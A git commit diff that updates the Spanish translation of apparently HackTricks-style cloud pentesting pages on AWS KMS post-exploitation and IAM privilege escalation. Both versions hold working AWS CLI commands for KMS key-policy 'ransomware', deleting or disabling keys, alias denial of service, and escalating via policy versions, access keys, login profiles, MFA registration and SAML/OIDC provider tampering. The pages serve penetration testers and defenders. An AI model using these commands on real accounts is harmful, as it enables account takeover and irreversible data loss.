Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-14 14:58:02 +00:00
parent 72945a7d20
commit db664fed08
2 changed files with 80 additions and 62 deletions
@@ -4,21 +4,21 @@
## KMS
Para más información consulta:
Para más información, consulta:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
### Encrypt/Decrypt information
### Cifrar/Descifrar información
`fileb://` and `file://` son esquemas URI usados en comandos de AWS CLI para especificar la ruta a archivos locales:
- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos que no son de texto.
- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts o JSON que no tengan requisitos especiales de codificación.
- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos no textuales.
- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts, o JSON que no tiene requisitos especiales de codificación.
> [!TIP]
> Ten en cuenta que si quieres descifrar datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
> Ten en cuenta que si quieres descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
- Usando una clave **simétrica**
```bash
@@ -60,14 +60,14 @@ aws kms decrypt \
```
### KMS Ransomware
Un attacker con acceso privilegiado sobre KMS podría modificar la KMS policy de las keys y **grant his account access over them**, eliminando el acceso concedido a la legit account.
Un atacante con acceso privilegiado a KMS podría modificar la política de KMS de las claves y **conceder a su cuenta acceso a dichas claves**, eliminando el acceso otorgado a la cuenta legítima.
Entonces, los legit account users no podrán acceder a ninguna información de cualquier servicio que haya sido encrypted con esas keys, creando un ransomware sencillo pero efectivo sobre la cuenta.
Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de cualquier servicio que haya sido cifrada con esas claves, creando un ransomware sencillo pero efectivo sobre la cuenta.
> [!WARNING]
> Ten en cuenta que **AWS managed keys aren't affected** por este ataque; solo **Customer managed keys**.
> Tenga en cuenta que **AWS managed keys aren't affected** por este ataque, solo **Customer managed keys**.
> También ten en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la consola web hace que este ataque sea posible solo desde la CLI).
> También tenga en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la consola web hace que este ataque solo sea posible desde la CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,22 +92,22 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> Ten en cuenta que si cambias esa policy y solo das acceso a una cuenta externa, y luego desde esa cuenta externa intentas establecer una nueva policy para **devolver el acceso a la cuenta original, no podrás hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada**.
> Tenga en cuenta que si cambia esa política y solo otorga acceso a una cuenta externa, y luego desde esa cuenta externa intenta establecer una nueva política para **devolver el acceso a la cuenta original, no podrá hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### Ransomware genérico de KMS
There is another way to perform a global KMS Ransomware, which would involve the following steps:
Hay otra forma de llevar a cabo un Ransomware global de KMS, que implicaría los siguientes pasos:
- Crear una nueva **key con material de clave** importado por el atacante
- **Re-encriptar datos antiguos** de la víctima que estaban cifrados con la versión anterior usando la nueva.
- **Eliminar la KMS key**
- Ahora solo el atacante, que posee el material de clave original, podría ser capaz de descifrar los datos cifrados
- Crear una nueva **key con key material** importado por el atacante
- **Volver a cifrar datos antiguos** de la víctima que estaban cifrados con la versión anterior usando la nueva.
- **Eliminar la key de KMS**
- Ahora solo el atacante, que tiene el key material original, podría ser capaz de descifrar los datos cifrados
### Delete Keys via kms:DeleteImportedKeyMaterial
With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
Con el permiso `kms:DeleteImportedKeyMaterial`, un actor puede eliminar el key material importado de CMKs con `Origin=EXTERNAL` (CMKs que han importado su key material), dejándolas incapaces de descifrar datos. Esta acción es destructiva e irreversible a menos que se vuelva a importar material compatible, lo que permite a un atacante causar efectivamente una pérdida de datos similar a ransomware al dejar la información cifrada permanentemente inaccesible.
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
> Tenga en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde una cuenta cruzada:**
> Ten en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde una cuenta cruzada:**
### Change or delete Alias
Este ataque elimina o redirige los alias de AWS KMS, interrumpiendo la resolución de claves y causando fallos inmediatos en cualquier servicio que dependa de esos alias, resultando en un denial-of-service. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias`, un atacante puede eliminar o volver a apuntar alias y perturbar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del ID de la clave puede fallar hasta que el alias se restaure o se reasigne correctamente.
### Cambiar o eliminar Alias
Este ataque elimina o redirige aliases de AWS KMS, rompiendo la resolución de claves y provocando fallos inmediatos en cualquier servicio que dependa de esos aliases, lo que resulta en una denegación de servicio. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias` un atacante puede eliminar o volver a apuntar aliases y obstaculizar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del key ID puede fallar hasta que el alias sea restaurado o reasignado correctamente.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
@@ -135,7 +135,7 @@ aws kms update-alias \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una AWS KMS customer master key y posteriormente volver a habilitarla. Al hacerlo, se recupera la key (inicialmente en Disabled state) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo exfiltration.
Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una customer master key de AWS KMS y luego volver a habilitarla. Al hacerlo, se recupera la clave (inicialmente en estado Disabled) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo la exfiltration.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
@@ -146,22 +146,21 @@ aws kms enable-key \
--key-id <Key_ID>
```
### Disable Key
Con el permiso `kms:DisableKey`, un actor puede deshabilitar una AWS KMS customer master key, impidiendo que se utilice para cifrado o descifrado. Esto interrumpe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la clave sea reactivada.
Con el permiso `kms:DisableKey`, un actor puede deshabilitar una customer master key (CMK) de AWS KMS, impidiendo que se use para encryption o decryption. Esto rompe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la key sea re-enabled.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Derive Shared Secret
Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada mantenida en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
### Derivar secreto compartido
Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada almacenada en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Suplantación mediante kms:Sign
Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la clave privada, produciendo firmas válidas que pueden permitir la suplantación de identidad o autorizar acciones maliciosas.
### Impersonation via kms:Sign
Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la private key, generando firmas válidas que pueden permitir impersonation o autorizar acciones maliciosas.
```bash
aws kms sign \
--key-id <key-id> \
@@ -169,8 +168,8 @@ aws kms sign \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS con Custom Key Stores
Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando inoperables sus claves maestras. Eso rompe las operaciones de cifrado, descifrado y firmado para cualquier servicio que dependa de esas claves y puede causar una denegación de servicio inmediata. Por ello, es crítico restringir y monitorizar esos permisos.
### DoS with Custom Key Stores
Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando sus claves maestras inoperables. Esto interrumpe las operaciones de cifrado, descifrado y firma para cualquier servicio que dependa de esas claves y puede causar un denial-of-service inmediato. Por lo tanto, es crítico restringir y monitorear esos permisos.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
@@ -12,38 +12,57 @@ Para más información sobre IAM consulta:
### **`iam:CreatePolicyVersion`**
Concede la capacidad de crear una nueva versión de una policy de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar la bandera `--set-as-default`. Esto permite definir permisos personalizados.
Concede la capacidad de crear una nueva versión de una política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` usando la bandera `--set-as-default`. Esto permite definir permisos personalizados.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impacto:** Escala privilegios directamente al permitir cualquier acción sobre cualquier recurso.
**Impacto:** Escala privilegios directamente permitiendo cualquier acción sobre cualquier recurso.
### **`iam:SetDefaultPolicyVersion`**
Permite cambiar la versión predeterminada de una política IAM a otra versión existente, lo que podría escalar privilegios si la nueva versión tiene más permisos.
Permite cambiar la versión predeterminada de una policy de IAM a otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos.
**Comando Bash:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impacto:** Escalada de privilegios indirecta al permitir más permisos.
**Impacto:** Indirect privilege escalation al habilitar más permisos.
### **`iam:CreateAccessKey`**
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Permite crear access key ID y secret access key para otro usuario, lo que puede derivar en una escalada de privilegios.
Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una posible privilege escalation.
**Explotación:**
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impacto:** Escalada de privilegios directa al asumir los permisos extendidos de otro usuario.
**Impacto:** Escalación de privilegios directa al asumir los permisos extendidos de otro usuario.
Ten en cuenta que un usuario solo puede tener 2 access keys creadas; por lo tanto, si un usuario ya tiene 2 access keys necesitarás el permiso `iam:DeleteAccessKey` para eliminar una de ellas y poder crear una nueva:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Si puedes crear un nuevo dispositivo virtual MFA y habilitarlo en otro usuario, puedes registrar efectivamente tu propio MFA para ese usuario y luego solicitar una sesión autenticada con MFA para sus credenciales.
**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impacto:** Direct privilege escalation al tomar control de la inscripción de MFA de un usuario (y luego usar sus permisos).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a una escalada de privilegios directa.
Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a Direct privilege escalation.
**Exploit para la creación:**
```bash
@@ -55,23 +74,23 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impacto:** Escalada de privilegios directa al iniciar sesión como cualquier usuario.
**Impact:** Escalado de privilegios directo al iniciar sesión como cualquier usuario.
### **`iam:UpdateAccessKey`**
Permite habilitar una access key deshabilitada, lo que puede conducir a acceso no autorizado si el atacante posee la access key deshabilitada.
Permite habilitar una clave de acceso deshabilitada, lo que podría derivar en acceso no autorizado si el atacante posee dicha clave.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impacto:** Escalada directa de privilegios al reactivar claves de acceso.
**Impacto:** Escalada directa de privilegios al reactivar access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Permite generar o restablecer credenciales para servicios específicos de AWS (p. ej., CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado.
**Exploit for Creation:**
**Exploit para la creación:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
```
@@ -79,13 +98,13 @@ aws iam create-service-specific-credential --user-name <username> --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impacto:** Escalada directa de privilegios dentro de los permisos del servicio del usuario.
**Impact:** Escalada directa de privilegios dentro de los permisos de servicio del usuario.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Permite adjuntar policies a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la policy adjunta.
Permite adjuntar políticas a usuarios o grupos, escalando directamente privilegios al heredar los permisos de la política adjunta.
**Exploit for User:**
**Exploit para el usuario:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
@@ -93,13 +112,13 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impact:** Escalada de privilegios directa a cualquier cosa que la política otorgue.
**Impacto:** Escalada de privilegios directa a todo lo que la política conceda.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Permite adjuntar o poner políticas en roles, usuarios o grupos, habilitando una escalada de privilegios directa al conceder permisos adicionales.
Permite adjuntar o aplicar políticas a roles, usuarios o grupos, permitiendo una escalada de privilegios directa al otorgar permisos adicionales.
**Exploit for Role:**
**Exploit para Role:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
@@ -127,28 +146,28 @@ Puedes usar una política como:
]
}
```
**Impact:** Escalada de privilegios directa al agregar permisos mediante políticas.
**Impacto:** Escalada de privilegios directa al añadir permisos mediante políticas.
### **`iam:AddUserToGroup`**
Permite agregarse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo.
Permite añadirse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo.
**Explotación:**
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impacto:** Escalada de privilegios directa al nivel de los permisos del grupo.
**Impacto:** Escalada de privilegios directa al nivel de permisos del grupo.
### **`iam:UpdateAssumeRolePolicy`**
Permite alterar el documento assume role policy de un role, habilitando la asunción del role y sus permisos asociados.
Permite alterar el documento de la assume role policy de un role, habilitando la asunción del role y sus permisos asociados.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso para assume the role:
Cuando la política se parece a la siguiente, la cual otorga al usuario permiso para asumir el rol:
```json
{
"Version": "2012-10-17",
@@ -163,7 +182,7 @@ Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso par
]
}
```
**Impact:** Escalada de privilegios directa al asumir los permisos de cualquier rol.
**Impacto:** Escalada de privilegios directa al asumir los permisos de cualquier rol.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
@@ -177,24 +196,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impacto:** Escalada de privilegios indirecta al habilitar acceso a CodeCommit o deshabilitar la protección MFA.
**Impacto:** Escalado de privilegios indirecto al habilitar acceso a CodeCommit o desactivar la protección MFA.
### **`iam:ResyncMFADevice`**
Permite la resincronización de un dispositivo MFA, lo que potencialmente puede conducir a una escalada de privilegios indirecta al manipular la protección MFA.
Permite la resincronización de un dispositivo MFA, lo que potencialmente conduce a un escalado de privilegios indirecto al manipular la protección MFA.
**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impacto:** Escalada de privilegios indirecta añadiendo o manipulando dispositivos MFA.
**Impacto:** Indirect privilege escalation by adding or manipulating MFA devices.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **login** con cualquier **rol que confíe** en ella.
Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **role que confíe** en ella.
Ten en cuenta que al hacer esto **los usuarios legítimos no podrán login**. Sin embargo, podrías obtener el XML, poner el tuyo, login y restaurar la configuración anterior.
Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, reemplazarlo por el tuyo, iniciar sesión y volver a configurar lo anterior.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -215,7 +234,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(No estoy seguro sobre esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor.
(No estoy seguro de esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para lograr iniciar sesión en todos los roles que confían en el proveedor.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Este permiso permite a un atacante actualizar el límite de permisos de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes.
Este permiso permite a un atacante actualizar el límite de permisos (permissions boundary) de un usuario, pudiendo así escalar sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: puede restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjunta un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios.
Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: pueden restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjuntan un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \